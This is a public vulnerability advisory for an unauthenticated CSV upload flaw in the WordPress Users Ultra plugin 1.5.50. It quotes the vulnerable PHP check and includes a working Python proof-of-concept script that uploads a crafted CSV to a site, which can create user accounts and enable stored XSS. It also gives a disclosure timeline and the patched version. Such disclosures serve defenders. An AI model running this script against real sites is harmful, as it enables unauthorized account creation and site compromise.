* Exploit Title: WordPress Users Ultra Plugin [Unrestricted File Upload] * Discovery Date: 2015/10/27 * Public Disclosure Date: 2015/12/01 * Exploit Author: Panagiotis Vagenas * Contact: https://twitter.com/panVagenas * Vendor Homepage: http://usersultra.com * Software Link: https://wordpress.org/plugins/users-ultra/ * Version: 1.5.50 * Tested on: WordPress 4.3.1 * Category: webapps Description ================================================================================ WordPress plugin `Users Ultra Plugin` suffers for an unrestricted file upload vulnerability. Any user (registered or not) can exploit a misbehavior of the plugin in order to upload csv files to the infected website. Although the plugin checks file extension using an extensions white-list (in this case only csv files are white-listed), no other checks (mime, size etc) are taking place. This alone can expose the infected website to a variety of attacks, please see [OWASP Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload) to get an idea. Details ================================================================================ The plugin workflow that could allow a malicious user to exploit this misbehavior is as follows: 1. Upon initialization of the plugin (anytime if it is activated) an instance of `XooUserUser` class is created 2. In the constructor of `XooUserUser` class a check for POST variable `uultra-form-cvs-form-conf` is taking place file `wp-content/plugins/users-ultra/xooclasses/xoo.userultra.user.php` lines 19-23 ```php if (isset($_POST['uultra-form-cvs-form-conf'])) { /* Let's Update the Profile */ $this->process_cvs($_FILES); } ``` 3. Assuming the POST variable `uultra-form-cvs-form-conf` has been set in the request, the method `XooUserUser::process_cvs()` is called. 4. `XooUserUser::process_cvs()` method process every file in $_FILES super-global by only making a check if the file has a `csv` extension In addition we mark the following points: 1. A malicious user can create and activate user accounts by exploiting this vulnerability if `$_POST["uultra-activate-account"]` is set to `active` 2. A welcome email is send if `$_POST["uultra-send-welcome-email"]` is set to 1 3. The csv files uploaded to the server are stored in a directory (`wp-content/usersultramedia/import` by default) accessible by anyone 4. Any additional columns present in the csv file are stored in `usermeta` 5. No sanitization for values in csv file can easily lead to a Persistent XSS attack, so an attacker can compromise the whole site PoC ================================================================================ The following Python3 script forms a csv file and uploads it to a site ```python3 #!/usr/bin/python3 import requests import csv import tempfile url = 'http://example.com/' postData = { 'uultra-form-cvs-form-conf': 1, 'uultra-send-welcome-email': 1, 'uultra-activate-account': 'pending' } csvFileHeader = ['user name', 'email', 'display name', 'registration date', 'first name', 'last name', 'age', 'country'] csvFileRow = ['userName', 'email@example.com', 'User Name', '1/1/1', 'User', 'Name', '100', 'IO'] csvFile = tempfile.NamedTemporaryFile(mode='a+t', suffix='.csv') wr = csv.writer(csvFile, quoting=csv.QUOTE_ALL, delimiter=',') wr.writerow(csvFileHeader) wr.writerow(csvFileRow) csvFile.seek(0) files = {'file.csv': csvFile} r = requests.post(url, data=postData, files=files) exit(0) ``` Timeline ================================================================================ 2015/10/29 - Vendor notified via email 2015/11/11 - Vendor notified via contact form in his website 2015/11/13 - Vendor notified via support forums at wordpress.org 2015/11/14 - Vendor responded and received report through email 2015/11/15 - Vendor responded 2015/11/15 - Patch released Solution ================================================================================ Update to version 1.5.59